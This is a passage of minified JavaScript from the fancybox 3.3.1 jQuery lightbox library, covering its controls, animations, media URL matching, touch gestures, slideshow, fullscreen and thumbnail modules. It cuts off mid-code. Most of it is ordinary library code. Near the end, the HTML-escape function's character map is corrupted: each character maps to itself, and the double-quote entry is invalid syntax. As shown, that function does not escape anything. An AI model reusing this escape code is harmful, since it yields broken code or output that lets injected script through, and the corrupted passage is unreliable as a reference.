s?i.unshift(s):s=a,i.unshift(a),n.isFunction(s.opts[t])&&(o=s.opts[t].apply(s,i)),o===!1?o:void("afterClose"!==t&&a.$refs?a.$refs.container.trigger(t+".fb",i):r.trigger(t+".fb",i))},updateControls:function(t){var e=this,n=e.current,o=n.index,i=n.opts.caption,a=e.$refs.container,s=e.$refs.caption;n.$slide.trigger("refresh"),e.$caption=i&&i.length?s.html(i):null,e.isHiddenControls||e.isIdle||e.showControls(),a.find("[data-fancybox-count]").html(e.group.length),a.find("[data-fancybox-index]").html(o+1),a.find("[data-fancybox-prev]").toggleClass("disabled",!n.opts.loop&&o<=0),a.find("[data-fancybox-next]").toggleClass("disabled",!n.opts.loop&&o>=e.group.length-1),"image"===n.type?a.find("[data-fancybox-zoom]").show().end().find("[data-fancybox-download]").attr("href",n.opts.image.src||n.src).show():n.opts.toolbar&&a.find("[data-fancybox-download],[data-fancybox-zoom]").hide()},hideControls:function(){this.isHiddenControls=!0,this.$refs.container.removeClass("fancybox-show-infobar fancybox-show-toolbar fancybox-show-caption fancybox-show-nav")},showControls:function(){var t=this,e=t.current?t.current.opts:t.opts,n=t.$refs.container;t.isHiddenControls=!1,t.idleSecondsCounter=0,n.toggleClass("fancybox-show-toolbar",!(!e.toolbar||!e.buttons)).toggleClass("fancybox-show-infobar",!!(e.infobar&&t.group.length>1)).toggleClass("fancybox-show-nav",!!(e.arrows&&t.group.length>1)).toggleClass("fancybox-is-modal",!!e.modal),t.$caption?n.addClass("fancybox-show-caption "):n.removeClass("fancybox-show-caption")},toggleControls:function(){this.isHiddenControls?this.showControls():this.hideControls()}}),n.fancybox={version:"3.3.1",defaults:a,getInstance:function(t){var e=n('.fancybox-container:not(".fancybox-is-closing"):last').data("FancyBox"),o=Array.prototype.slice.call(arguments,1);return e instanceof h&&("string"===n.type(t)?e[t].apply(e,o):"function"===n.type(t)&&t.apply(e,o),e)},open:function(t,e,n){return new h(t,e,n)},close:function(t){var e=this.getInstance();e&&(e.close(),t===!0&&this.close())},destroy:function(){this.close(!0),r.add("body").off("click.fb-start","**")},isMobile:e.createTouch!==o&&/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent),use3d:function(){var n=e.createElement("div");return t.getComputedStyle&&t.getComputedStyle(n)&&t.getComputedStyle(n).getPropertyValue("transform")&&!(e.documentMode&&e.documentMode<11)}(),getTranslate:function(t){var e;return!(!t||!t.length)&&(e=t[0].getBoundingClientRect(),{top:e.top||0,left:e.left||0,width:e.width,height:e.height,opacity:parseFloat(t.css("opacity"))})},setTranslate:function(t,e){var n="",i={};if(t&&e)return e.left===o&&e.top===o||(n=(e.left===o?t.position().left:e.left)+"px, "+(e.top===o?t.position().top:e.top)+"px",n=this.use3d?"translate3d("+n+", 0px)":"translate("+n+")"),e.scaleX!==o&&e.scaleY!==o&&(n=(n.length?n+" ":"")+"scale("+e.scaleX+", "+e.scaleY+")"),n.length&&(i.transform=n),e.opacity!==o&&(i.opacity=e.opacity),e.width!==o&&(i.width=e.width),e.height!==o&&(i.height=e.height),t.css(i)},animate:function(t,e,i,a,s){ +var r=!1;n.isFunction(i)&&(a=i,i=null),n.isPlainObject(e)||t.removeAttr("style"),n.fancybox.stop(t),t.on(u,function(o){(!o||!o.originalEvent||t.is(o.originalEvent.target)&&"z-index"!=o.originalEvent.propertyName)&&(n.fancybox.stop(t),r&&n.fancybox.setTranslate(t,r),n.isPlainObject(e)?s===!1&&t.removeAttr("style"):s!==!0&&t.removeClass(e),n.isFunction(a)&&a(o))}),n.isNumeric(i)&&t.css("transition-duration",i+"ms"),n.isPlainObject(e)?(e.scaleX!==o&&e.scaleY!==o&&(r=n.extend({},e,{width:t.width()*e.scaleX,height:t.height()*e.scaleY,scaleX:1,scaleY:1}),delete e.width,delete e.height,t.parent().hasClass("fancybox-slide--image")&&t.parent().addClass("fancybox-is-scaling")),n.fancybox.setTranslate(t,e)):t.addClass(e),t.data("timer",setTimeout(function(){t.trigger("transitionend")},i+16))},stop:function(t){t&&t.length&&(clearTimeout(t.data("timer")),t.off("transitionend").css("transition-duration",""),t.parent().removeClass("fancybox-is-scaling"))}},n.fn.fancybox=function(t){var e;return t=t||{},e=t.selector||!1,e?n("body").off("click.fb-start",e).on("click.fb-start",e,{options:t},i):this.off("click.fb-start").on("click.fb-start",{items:this,options:t},i),this},r.on("click.fb-start","[data-fancybox]",i),r.on("click.fb-start","[data-trigger]",function(t){i(t,{$target:n('[data-fancybox="'+n(t.currentTarget).attr("data-trigger")+'"]').eq(n(t.currentTarget).attr("data-index")||0),$trigger:n(this)})})}}(window,document,window.jQuery||jQuery),function(t){"use strict";var e=function(e,n,o){if(e)return o=o||"","object"===t.type(o)&&(o=t.param(o,!0)),t.each(n,function(t,n){e=e.replace("$"+t,n||"")}),o.length&&(e+=(e.indexOf("?")>0?"&":"?")+o),e},n={youtube:{matcher:/(youtube\.com|youtu\.be|youtube\-nocookie\.com)\/(watch\?(.*&)?v=|v\/|u\/|embed\/?)?(videoseries\?list=(.*)|[\w-]{11}|\?listType=(.*)&list=(.*))(.*)/i,params:{autoplay:1,autohide:1,fs:1,rel:0,hd:1,wmode:"transparent",enablejsapi:1,html5:1},paramPlace:8,type:"iframe",url:"//www.youtube.com/embed/$4",thumb:"//img.youtube.com/vi/$4/hqdefault.jpg"},vimeo:{matcher:/^.+vimeo.com\/(.*\/)?([\d]+)(.*)?/,params:{autoplay:1,hd:1,show_title:1,show_byline:1,show_portrait:0,fullscreen:1,api:1},paramPlace:3,type:"iframe",url:"//player.vimeo.com/video/$2"},instagram:{matcher:/(instagr\.am|instagram\.com)\/p\/([a-zA-Z0-9_\-]+)\/?/i,type:"image",url:"//$1/p/$2/media/?size=l"},gmap_place:{matcher:/(maps\.)?google\.([a-z]{2,3}(\.[a-z]{2})?)\/(((maps\/(place\/(.*)\/)?\@(.*),(\d+.?\d+?)z))|(\?ll=))(.*)?/i,type:"iframe",url:function(t){return"//maps.google."+t[2]+"/?ll="+(t[9]?t[9]+"&z="+Math.floor(t[10])+(t[12]?t[12].replace(/^\//,"&"):""):t[12]+"").replace(/\?/,"&")+"&output="+(t[12]&&t[12].indexOf("layer=c")>0?"svembed":"embed")}},gmap_search:{matcher:/(maps\.)?google\.([a-z]{2,3}(\.[a-z]{2})?)\/(maps\/search\/)(.*)/i,type:"iframe",url:function(t){return"//maps.google."+t[2]+"/maps?q="+t[5].replace("query=","q=").replace("api=1","")+"&output=embed"}}};t(document).on("objectNeedsType.fb",function(o,i,a){var s,r,c,l,d,u,f,p=a.src||"",h=!1;s=t.extend(!0,{},n,a.opts.media),t.each(s,function(n,o){if(c=p.match(o.matcher)){if(h=o.type,f=n,u={},o.paramPlace&&c[o.paramPlace]){d=c[o.paramPlace],"?"==d[0]&&(d=d.substring(1)),d=d.split("&");for(var i=0;i<d.length;++i){var s=d[i].split("=",2);2==s.length&&(u[s[0]]=decodeURIComponent(s[1].replace(/\+/g," ")))}}return l=t.extend(!0,{},o.params,a.opts[n],u),p="function"===t.type(o.url)?o.url.call(this,c,l,a):e(o.url,c,l),r="function"===t.type(o.thumb)?o.thumb.call(this,c,l,a):e(o.thumb,c),"vimeo"===n&&(p=p.replace("&%23","#")),!1}}),h?(a.opts.thumb||a.opts.$thumb&&a.opts.$thumb.length||(a.opts.thumb=r),"iframe"===h&&(a.opts=t.extend(!0,a.opts,{iframe:{preload:!1,attr:{scrolling:"no"}}})),t.extend(a,{type:h,src:p,origSrc:a.src,contentSource:f,contentType:"image"===h?"image":"gmap_place"==f||"gmap_search"==f?"map":"video"})):p&&(a.type=a.opts.defaultType)})}(window.jQuery||jQuery),function(t,e,n){"use strict";var o=function(){return t.requestAnimationFrame||t.webkitRequestAnimationFrame||t.mozRequestAnimationFrame||t.oRequestAnimationFrame||function(e){return t.setTimeout(e,1e3/60)}}(),i=function(){return t.cancelAnimationFrame||t.webkitCancelAnimationFrame||t.mozCancelAnimationFrame||t.oCancelAnimationFrame||function(e){t.clearTimeout(e)}}(),a=function(e){var n=[];e=e.originalEvent||e||t.e,e=e.touches&&e.touches.length?e.touches:e.changedTouches&&e.changedTouches.length?e.changedTouches:[e];for(var o in e)e[o].pageX?n.push({x:e[o].pageX,y:e[o].pageY}):e[o].clientX&&n.push({x:e[o].clientX,y:e[o].clientY});return n},s=function(t,e,n){return e&&t?"x"===n?t.x-e.x:"y"===n?t.y-e.y:Math.sqrt(Math.pow(t.x-e.x,2)+Math.pow(t.y-e.y,2)):0},r=function(t){if(t.is('a,area,button,[role="button"],input,label,select,summary,textarea,video,audio')||n.isFunction(t.get(0).onclick)||t.data("selectable"))return!0;for(var e=0,o=t[0].attributes,i=o.length;e<i;e++)if("data-fancybox-"===o[e].nodeName.substr(0,14))return!0;return!1},c=function(e){var n=t.getComputedStyle(e)["overflow-y"],o=t.getComputedStyle(e)["overflow-x"],i=("scroll"===n||"auto"===n)&&e.scrollHeight>e.clientHeight,a=("scroll"===o||"auto"===o)&&e.scrollWidth>e.clientWidth;return i||a},l=function(t){for(var e=!1;;){if(e=c(t.get(0)))break;if(t=t.parent(),!t.length||t.hasClass("fancybox-stage")||t.is("body"))break}return e},d=function(t){var e=this;e.instance=t,e.$bg=t.$refs.bg,e.$stage=t.$refs.stage,e.$container=t.$refs.container,e.destroy(),e.$container.on("touchstart.fb.touch mousedown.fb.touch",n.proxy(e,"ontouchstart"))};d.prototype.destroy=function(){this.$container.off(".fb.touch")},d.prototype.ontouchstart=function(o){var i=this,c=n(o.target),d=i.instance,u=d.current,f=u.$content,p="touchstart"==o.type;if(p&&i.$container.off("mousedown.fb.touch"),(!o.originalEvent||2!=o.originalEvent.button)&&c.length&&!r(c)&&!r(c.parent())&&(c.is("img")||!(o.originalEvent.clientX>c[0].clientWidth+c.offset().left))){if(!u||d.isAnimating||d.isClosing)return o.stopPropagation(),void o.preventDefault();if(i.realPoints=i.startPoints=a(o),i.startPoints.length){if(o.stopPropagation(),i.startEvent=o,i.canTap=!0,i.$target=c,i.$content=f,i.opts=u.opts.touch,i.isPanning=!1,i.isSwiping=!1,i.isZooming=!1,i.isScrolling=!1,i.startTime=(new Date).getTime(),i.distanceX=i.distanceY=i.distance=0,i.canvasWidth=Math.round(u.$slide[0].clientWidth),i.canvasHeight=Math.round(u.$slide[0].clientHeight),i.contentLastPos=null,i.contentStartPos=n.fancybox.getTranslate(i.$content)||{top:0,left:0},i.sliderStartPos=i.sliderLastPos||n.fancybox.getTranslate(u.$slide),i.stagePos=n.fancybox.getTranslate(d.$refs.stage),i.sliderStartPos.top-=i.stagePos.top,i.sliderStartPos.left-=i.stagePos.left,i.contentStartPos.top-=i.stagePos.top,i.contentStartPos.left-=i.stagePos.left,n(e).off(".fb.touch").on(p?"touchend.fb.touch touchcancel.fb.touch":"mouseup.fb.touch mouseleave.fb.touch",n.proxy(i,"ontouchend")).on(p?"touchmove.fb.touch":"mousemove.fb.touch",n.proxy(i,"ontouchmove")),n.fancybox.isMobile&&e.addEventListener("scroll",i.onscroll,!0),!i.opts&&!d.canPan()||!c.is(i.$stage)&&!i.$stage.find(c).length)return void(c.is(".fancybox-image")&&o.preventDefault());n.fancybox.isMobile&&(l(c)||l(c.parent()))||o.preventDefault(),(1===i.startPoints.length||u.hasError)&&(i.instance.canPan()?(n.fancybox.stop(i.$content),i.$content.css("transition-duration",""),i.isPanning=!0):i.isSwiping=!0,i.$container.addClass("fancybox-controls--isGrabbing")),2===i.startPoints.length&&"image"===u.type&&(u.isLoaded||u.$ghost)&&(i.canTap=!1,i.isSwiping=!1,i.isPanning=!1,i.isZooming=!0,n.fancybox.stop(i.$content),i.$content.css("transition-duration",""),i.centerPointStartX=.5*(i.startPoints[0].x+i.startPoints[1].x)-n(t).scrollLeft(),i.centerPointStartY=.5*(i.startPoints[0].y+i.startPoints[1].y)-n(t).scrollTop(),i.percentageOfImageAtPinchPointX=(i.centerPointStartX-i.contentStartPos.left)/i.contentStartPos.width,i.percentageOfImageAtPinchPointY=(i.centerPointStartY-i.contentStartPos.top)/i.contentStartPos.height,i.startDistanceBetweenFingers=s(i.startPoints[0],i.startPoints[1]))}}},d.prototype.onscroll=function(t){var n=this;n.isScrolling=!0,e.removeEventListener("scroll",n.onscroll,!0)},d.prototype.ontouchmove=function(t){var e=this,o=n(t.target);return void 0!==t.originalEvent.buttons&&0===t.originalEvent.buttons?void e.ontouchend(t):e.isScrolling||!o.is(e.$stage)&&!e.$stage.find(o).length?void(e.canTap=!1):(e.newPoints=a(t),void((e.opts||e.instance.canPan())&&e.newPoints.length&&e.newPoints.length&&(e.isSwiping&&e.isSwiping===!0||t.preventDefault(),e.distanceX=s(e.newPoints[0],e.startPoints[0],"x"),e.distanceY=s(e.newPoints[0],e.startPoints[0],"y"),e.distance=s(e.newPoints[0],e.startPoints[0]),e.distance>0&&(e.isSwiping?e.onSwipe(t):e.isPanning?e.onPan():e.isZooming&&e.onZoom()))))},d.prototype.onSwipe=function(e){var a,s=this,r=s.isSwiping,c=s.sliderStartPos.left||0;if(r!==!0)"x"==r&&(s.distanceX>0&&(s.instance.group.length<2||0===s.instance.current.index&&!s.instance.current.opts.loop)?c+=Math.pow(s.distanceX,.8):s.distanceX<0&&(s.instance.group.length<2||s.instance.current.index===s.instance.group.length-1&&!s.instance.current.opts.loop)?c-=Math.pow(-s.distanceX,.8):c+=s.distanceX),s.sliderLastPos={top:"x"==r?0:s.sliderStartPos.top+s.distanceY,left:c},s.requestId&&(i(s.requestId),s.requestId=null),s.requestId=o(function(){s.sliderLastPos&&(n.each(s.instance.slides,function(t,e){var o=e.pos-s.instance.currPos;n.fancybox.setTranslate(e.$slide,{top:s.sliderLastPos.top,left:s.sliderLastPos.left+o*s.canvasWidth+o*e.opts.gutter})}),s.$container.addClass("fancybox-is-sliding"))});else if(Math.abs(s.distance)>10){if(s.canTap=!1,s.instance.group.length<2&&s.opts.vertical?s.isSwiping="y":s.instance.isDragging||s.opts.vertical===!1||"auto"===s.opts.vertical&&n(t).width()>800?s.isSwiping="x":(a=Math.abs(180*Math.atan2(s.distanceY,s.distanceX)/Math.PI),s.isSwiping=a>45&&a<135?"y":"x"),s.canTap=!1,"y"===s.isSwiping&&n.fancybox.isMobile&&(l(s.$target)||l(s.$target.parent())))return void(s.isScrolling=!0);s.instance.isDragging=s.isSwiping,s.startPoints=s.newPoints,n.each(s.instance.slides,function(t,e){n.fancybox.stop(e.$slide),e.$slide.css("transition-duration",""),e.inTransition=!1,e.pos===s.instance.current.pos&&(s.sliderStartPos.left=n.fancybox.getTranslate(e.$slide).left-n.fancybox.getTranslate(s.instance.$refs.stage).left)}),s.instance.SlideShow&&s.instance.SlideShow.isActive&&s.instance.SlideShow.stop()}},d.prototype.onPan=function(){var t=this;return s(t.newPoints[0],t.realPoints[0])<(n.fancybox.isMobile?10:5)?void(t.startPoints=t.newPoints):(t.canTap=!1,t.contentLastPos=t.limitMovement(),t.requestId&&(i(t.requestId),t.requestId=null),void(t.requestId=o(function(){n.fancybox.setTranslate(t.$content,t.contentLastPos)})))},d.prototype.limitMovement=function(){var t,e,n,o,i,a,s=this,r=s.canvasWidth,c=s.canvasHeight,l=s.distanceX,d=s.distanceY,u=s.contentStartPos,f=u.left,p=u.top,h=u.width,g=u.height;return i=h>r?f+l:f,a=p+d,t=Math.max(0,.5*r-.5*h),e=Math.max(0,.5*c-.5*g),n=Math.min(r-h,.5*r-.5*h),o=Math.min(c-g,.5*c-.5*g),l>0&&i>t&&(i=t-1+Math.pow(-t+f+l,.8)||0),l<0&&i<n&&(i=n+1-Math.pow(n-f-l,.8)||0),d>0&&a>e&&(a=e-1+Math.pow(-e+p+d,.8)||0),d<0&&a<o&&(a=o+1-Math.pow(o-p-d,.8)||0),{top:a,left:i}},d.prototype.limitPosition=function(t,e,n,o){var i=this,a=i.canvasWidth,s=i.canvasHeight;return n>a?(t=t>0?0:t,t=t<a-n?a-n:t):t=Math.max(0,a/2-n/2),o>s?(e=e>0?0:e,e=e<s-o?s-o:e):e=Math.max(0,s/2-o/2),{top:e,left:t}},d.prototype.onZoom=function(){var e=this,a=e.contentStartPos,r=a.width,c=a.height,l=a.left,d=a.top,u=s(e.newPoints[0],e.newPoints[1]),f=u/e.startDistanceBetweenFingers,p=Math.floor(r*f),h=Math.floor(c*f),g=(r-p)*e.percentageOfImageAtPinchPointX,b=(c-h)*e.percentageOfImageAtPinchPointY,m=(e.newPoints[0].x+e.newPoints[1].x)/2-n(t).scrollLeft(),y=(e.newPoints[0].y+e.newPoints[1].y)/2-n(t).scrollTop(),v=m-e.centerPointStartX,x=y-e.centerPointStartY,w=l+(g+v),$=d+(b+x),S={top:$,left:w,scaleX:f,scaleY:f};e.canTap=!1,e.newWidth=p,e.newHeight=h,e.contentLastPos=S,e.requestId&&(i(e.requestId),e.requestId=null),e.requestId=o(function(){n.fancybox.setTranslate(e.$content,e.contentLastPos)})},d.prototype.ontouchend=function(t){var o=this,s=Math.max((new Date).getTime()-o.startTime,1),r=o.isSwiping,c=o.isPanning,l=o.isZooming,d=o.isScrolling;return o.endPoints=a(t),o.$container.removeClass("fancybox-controls--isGrabbing"),n(e).off(".fb.touch"),e.removeEventListener("scroll",o.onscroll,!0),o.requestId&&(i(o.requestId),o.requestId=null),o.isSwiping=!1,o.isPanning=!1,o.isZooming=!1,o.isScrolling=!1,o.instance.isDragging=!1,o.canTap?o.onTap(t):(o.speed=366,o.velocityX=o.distanceX/s*.5,o.velocityY=o.distanceY/s*.5,o.speedX=Math.max(.5*o.speed,Math.min(1.5*o.speed,1/Math.abs(o.velocityX)*o.speed)),void(c?o.endPanning():l?o.endZooming():o.endSwiping(r,d)))},d.prototype.endSwiping=function(t,e){var o=this,i=!1,a=o.instance.group.length;o.sliderLastPos=null,"y"==t&&!e&&Math.abs(o.distanceY)>50?(n.fancybox.animate(o.instance.current.$slide,{top:o.sliderStartPos.top+o.distanceY+150*o.velocityY,opacity:0},200),i=o.instance.close(!0,200)):"x"==t&&o.distanceX>50&&a>1?i=o.instance.previous(o.speedX):"x"==t&&o.distanceX<-50&&a>1&&(i=o.instance.next(o.speedX)),i!==!1||"x"!=t&&"y"!=t||(e||a<2?o.instance.centerSlide(o.instance.current,150):o.instance.jumpTo(o.instance.current.index)),o.$container.removeClass("fancybox-is-sliding")},d.prototype.endPanning=function(){var t,e,o,i=this;i.contentLastPos&&(i.opts.momentum===!1?(t=i.contentLastPos.left,e=i.contentLastPos.top):(t=i.contentLastPos.left+i.velocityX*i.speed,e=i.contentLastPos.top+i.velocityY*i.speed),o=i.limitPosition(t,e,i.contentStartPos.width,i.contentStartPos.height),o.width=i.contentStartPos.width,o.height=i.contentStartPos.height,n.fancybox.animate(i.$content,o,330))},d.prototype.endZooming=function(){var t,e,o,i,a=this,s=a.instance.current,r=a.newWidth,c=a.newHeight;a.contentLastPos&&(t=a.contentLastPos.left,e=a.contentLastPos.top,i={top:e,left:t,width:r,height:c,scaleX:1,scaleY:1},n.fancybox.setTranslate(a.$content,i),r<a.canvasWidth&&c<a.canvasHeight?a.instance.scaleToFit(150):r>s.width||c>s.height?a.instance.scaleToActual(a.centerPointStartX,a.centerPointStartY,150):(o=a.limitPosition(t,e,r,c),n.fancybox.setTranslate(a.$content,n.fancybox.getTranslate(a.$content)),n.fancybox.animate(a.$content,o,150)))},d.prototype.onTap=function(e){var o,i=this,s=n(e.target),r=i.instance,c=r.current,l=e&&a(e)||i.startPoints,d=l[0]?l[0].x-n(t).scrollLeft()-i.stagePos.left:0,u=l[0]?l[0].y-n(t).scrollTop()-i.stagePos.top:0,f=function(t){var o=c.opts[t];if(n.isFunction(o)&&(o=o.apply(r,[c,e])),o)switch(o){case"close":r.close(i.startEvent);break;case"toggleControls":r.toggleControls(!0);break;case"next":r.next();break;case"nextOrClose":r.group.length>1?r.next():r.close(i.startEvent);break;case"zoom":"image"==c.type&&(c.isLoaded||c.$ghost)&&(r.canPan()?r.scaleToFit():r.isScaledDown()?r.scaleToActual(d,u):r.group.length<2&&r.close(i.startEvent))}};if((!e.originalEvent||2!=e.originalEvent.button)&&(s.is("img")||!(d>s[0].clientWidth+s.offset().left))){if(s.is(".fancybox-bg,.fancybox-inner,.fancybox-outer,.fancybox-container"))o="Outside";else if(s.is(".fancybox-slide"))o="Slide";else{if(!r.current.$content||!r.current.$content.find(s).addBack().filter(s).length)return;o="Content"}if(i.tapped){if(clearTimeout(i.tapped),i.tapped=null,Math.abs(d-i.tapX)>50||Math.abs(u-i.tapY)>50)return this;f("dblclick"+o)}else i.tapX=d,i.tapY=u,c.opts["dblclick"+o]&&c.opts["dblclick"+o]!==c.opts["click"+o]?i.tapped=setTimeout(function(){i.tapped=null,f("click"+o)},500):f("click"+o);return this}},n(e).on("onActivate.fb",function(t,e){e&&!e.Guestures&&(e.Guestures=new d(e))})}(window,document,window.jQuery||jQuery),function(t,e){"use strict";e.extend(!0,e.fancybox.defaults,{btnTpl:{slideShow:'<button data-fancybox-play class="fancybox-button fancybox-button--play" title="{{PLAY_START}}"><svg viewBox="0 0 40 40"><path d="M13,12 L27,20 L13,27 Z" /><path d="M15,10 v19 M23,10 v19" /></svg></button>'},slideShow:{autoStart:!1,speed:3e3}});var n=function(t){this.instance=t,this.init()};e.extend(n.prototype,{timer:null,isActive:!1,$button:null,init:function(){var t=this;t.$button=t.instance.$refs.toolbar.find("[data-fancybox-play]").on("click",function(){t.toggle()}),(t.instance.group.length<2||!t.instance.group[t.instance.currIndex].opts.slideShow)&&t.$button.hide()},set:function(t){var e=this;e.instance&&e.instance.current&&(t===!0||e.instance.current.opts.loop||e.instance.currIndex<e.instance.group.length-1)?e.timer=setTimeout(function(){e.isActive&&e.instance.jumpTo((e.instance.currIndex+1)%e.instance.group.length)},e.instance.current.opts.slideShow.speed):(e.stop(),e.instance.idleSecondsCounter=0,e.instance.showControls())},clear:function(){var t=this;clearTimeout(t.timer),t.timer=null},start:function(){var t=this,e=t.instance.current;e&&(t.isActive=!0,t.$button.attr("title",e.opts.i18n[e.opts.lang].PLAY_STOP).removeClass("fancybox-button--play").addClass("fancybox-button--pause"),t.set(!0))},stop:function(){var t=this,e=t.instance.current;t.clear(),t.$button.attr("title",e.opts.i18n[e.opts.lang].PLAY_START).removeClass("fancybox-button--pause").addClass("fancybox-button--play"),t.isActive=!1},toggle:function(){var t=this;t.isActive?t.stop():t.start()}}),e(t).on({"onInit.fb":function(t,e){e&&!e.SlideShow&&(e.SlideShow=new n(e))},"beforeShow.fb":function(t,e,n,o){var i=e&&e.SlideShow;o?i&&n.opts.slideShow.autoStart&&i.start():i&&i.isActive&&i.clear()},"afterShow.fb":function(t,e,n){var o=e&&e.SlideShow;o&&o.isActive&&o.set()},"afterKeydown.fb":function(n,o,i,a,s){var r=o&&o.SlideShow;!r||!i.opts.slideShow||80!==s&&32!==s||e(t.activeElement).is("button,a,input")||(a.preventDefault(),r.toggle())},"beforeClose.fb onDeactivate.fb":function(t,e){var n=e&&e.SlideShow;n&&n.stop()}}),e(t).on("visibilitychange",function(){var n=e.fancybox.getInstance(),o=n&&n.SlideShow;o&&o.isActive&&(t.hidden?o.clear():o.set())})}(document,window.jQuery||jQuery),function(t,e){"use strict";var n=function(){for(var e=[["requestFullscreen","exitFullscreen","fullscreenElement","fullscreenEnabled","fullscreenchange","fullscreenerror"],["webkitRequestFullscreen","webkitExitFullscreen","webkitFullscreenElement","webkitFullscreenEnabled","webkitfullscreenchange","webkitfullscreenerror"],["webkitRequestFullScreen","webkitCancelFullScreen","webkitCurrentFullScreenElement","webkitCancelFullScreen","webkitfullscreenchange","webkitfullscreenerror"],["mozRequestFullScreen","mozCancelFullScreen","mozFullScreenElement","mozFullScreenEnabled","mozfullscreenchange","mozfullscreenerror"],["msRequestFullscreen","msExitFullscreen","msFullscreenElement","msFullscreenEnabled","MSFullscreenChange","MSFullscreenError"]],n={},o=0;o<e.length;o++){var i=e[o];if(i&&i[1]in t){for(var a=0;a<i.length;a++)n[e[0][a]]=i[a];return n}}return!1}();if(!n)return void(e&&e.fancybox&&(e.fancybox.defaults.btnTpl.fullScreen=!1));var o={request:function(e){e=e||t.documentElement,e[n.requestFullscreen](e.ALLOW_KEYBOARD_INPUT)},exit:function(){t[n.exitFullscreen]()},toggle:function(e){e=e||t.documentElement,this.isFullscreen()?this.exit():this.request(e)},isFullscreen:function(){return Boolean(t[n.fullscreenElement])},enabled:function(){return Boolean(t[n.fullscreenEnabled])}};e.extend(!0,e.fancybox.defaults,{btnTpl:{fullScreen:'<button data-fancybox-fullscreen class="fancybox-button fancybox-button--fullscreen" title="{{FULL_SCREEN}}"><svg viewBox="0 0 40 40"><path d="M9,12 v16 h22 v-16 h-22 v8" /></svg></button>'},fullScreen:{autoStart:!1}}),e(t).on({"onInit.fb":function(t,e){var n;e&&e.group[e.currIndex].opts.fullScreen?(n=e.$refs.container,n.on("click.fb-fullscreen","[data-fancybox-fullscreen]",function(t){t.stopPropagation(),t.preventDefault(),o.toggle()}),e.opts.fullScreen&&e.opts.fullScreen.autoStart===!0&&o.request(),e.FullScreen=o):e&&e.$refs.toolbar.find("[data-fancybox-fullscreen]").hide()},"afterKeydown.fb":function(t,e,n,o,i){e&&e.FullScreen&&70===i&&(o.preventDefault(),e.FullScreen.toggle())},"beforeClose.fb":function(t,e){e&&e.FullScreen&&e.$refs.container.hasClass("fancybox-is-fullscreen")&&o.exit()}}),e(t).on(n.fullscreenchange,function(){var t=o.isFullscreen(),n=e.fancybox.getInstance();n&&(n.current&&"image"===n.current.type&&n.isAnimating&&(n.current.$content.css("transition","none"),n.isAnimating=!1,n.update(!0,!0,0)),n.trigger("onFullscreenChange",t),n.$refs.container.toggleClass("fancybox-is-fullscreen",t))})}(document,window.jQuery||jQuery),function(t,e){"use strict";var n="fancybox-thumbs",o=n+"-active",i=n+"-loading";e.fancybox.defaults=e.extend(!0,{btnTpl:{thumbs:'<button data-fancybox-thumbs class="fancybox-button fancybox-button--thumbs" title="{{THUMBS}}"><svg viewBox="0 0 120 120"><path d="M30,30 h14 v14 h-14 Z M50,30 h14 v14 h-14 Z M70,30 h14 v14 h-14 Z M30,50 h14 v14 h-14 Z M50,50 h14 v14 h-14 Z M70,50 h14 v14 h-14 Z M30,70 h14 v14 h-14 Z M50,70 h14 v14 h-14 Z M70,70 h14 v14 h-14 Z" /></svg></button>'},thumbs:{autoStart:!1,hideOnClose:!0,parentEl:".fancybox-container",axis:"y"}},e.fancybox.defaults);var a=function(t){this.init(t)};e.extend(a.prototype,{$button:null,$grid:null,$list:null,isVisible:!1,isActive:!1,init:function(t){var e,n,o=this;o.instance=t,t.Thumbs=o,o.opts=t.group[t.currIndex].opts.thumbs,e=t.group[0],e=e.opts.thumb||!(!e.opts.$thumb||!e.opts.$thumb.length)&&e.opts.$thumb.attr("src"),t.group.length>1&&(n=t.group[1],n=n.opts.thumb||!(!n.opts.$thumb||!n.opts.$thumb.length)&&n.opts.$thumb.attr("src")),o.$button=t.$refs.toolbar.find("[data-fancybox-thumbs]"),o.opts&&e&&n&&e&&n?(o.$button.show().on("click",function(){o.toggle()}),o.isActive=!0):o.$button.hide()},create:function(){var t,o=this,a=o.instance,s=o.opts.parentEl,r=[];o.$grid||(o.$grid=e('<div class="'+n+" "+n+"-"+o.opts.axis+'"></div>').appendTo(a.$refs.container.find(s).addBack().filter(s)),o.$grid.on("click","li",function(){a.jumpTo(e(this).attr("data-index"))})),o.$list||(o.$list=e("<ul>").appendTo(o.$grid)),e.each(a.group,function(e,n){t=n.opts.thumb||(n.opts.$thumb?n.opts.$thumb.attr("src"):null),t||"image"!==n.type||(t=n.src),r.push('<li data-index="'+e+'" tabindex="0" class="'+i+'"'+(t&&t.length?' style="background-image:url('+t+')" />':"")+"></li>")}),o.$list[0].innerHTML=r.join(""),"x"===o.opts.axis&&o.$list.width(parseInt(o.$grid.css("padding-right"),10)+a.group.length*o.$list.children().eq(0).outerWidth(!0))},focus:function(t){var e,n,i=this,a=i.$list,s=i.$grid;i.instance.current&&(e=a.children().removeClass(o).filter('[data-index="'+i.instance.current.index+'"]').addClass(o),n=e.position(),"y"===i.opts.axis&&(n.top<0||n.top>a.height()-e.outerHeight())?a.stop().animate({scrollTop:a.scrollTop()+n.top},t):"x"===i.opts.axis&&(n.left<s.scrollLeft()||n.left>s.scrollLeft()+(s.width()-e.outerWidth()))&&a.parent().stop().animate({scrollLeft:n.left},t))},update:function(){var t=this;t.instance.$refs.container.toggleClass("fancybox-show-thumbs",this.isVisible),t.isVisible?(t.$grid||t.create(),t.instance.trigger("onThumbsShow"),t.focus(0)):t.$grid&&t.instance.trigger("onThumbsHide"),t.instance.update()},hide:function(){this.isVisible=!1,this.update()},show:function(){this.isVisible=!0,this.update()},toggle:function(){this.isVisible=!this.isVisible,this.update()}}),e(t).on({"onInit.fb":function(t,e){var n;e&&!e.Thumbs&&(n=new a(e),n.isActive&&n.opts.autoStart===!0&&n.show())},"beforeShow.fb":function(t,e,n,o){var i=e&&e.Thumbs;i&&i.isVisible&&i.focus(o?0:250)},"afterKeydown.fb":function(t,e,n,o,i){var a=e&&e.Thumbs;a&&a.isActive&&71===i&&(o.preventDefault(),a.toggle())},"beforeClose.fb":function(t,e){var n=e&&e.Thumbs;n&&n.isVisible&&n.opts.hideOnClose!==!1&&n.$grid.hide()}})}(document,window.jQuery||jQuery),function(t,e){"use strict";function n(t){var e={"&":"&","<":"<",">":">",'"':""","'":"'","/":"/","`":"`","=":"="};return String(t).replace(/[&<>"'`=\/]/g,function(t){return e[t]})}e.extend(!0,e.fancybox.defaults,{btnTpl:{share:'<button data-fancybox-share class="fancybox-button fancybox-button--share" title="{{SHARE}}"><svg viewBox="0 0 40 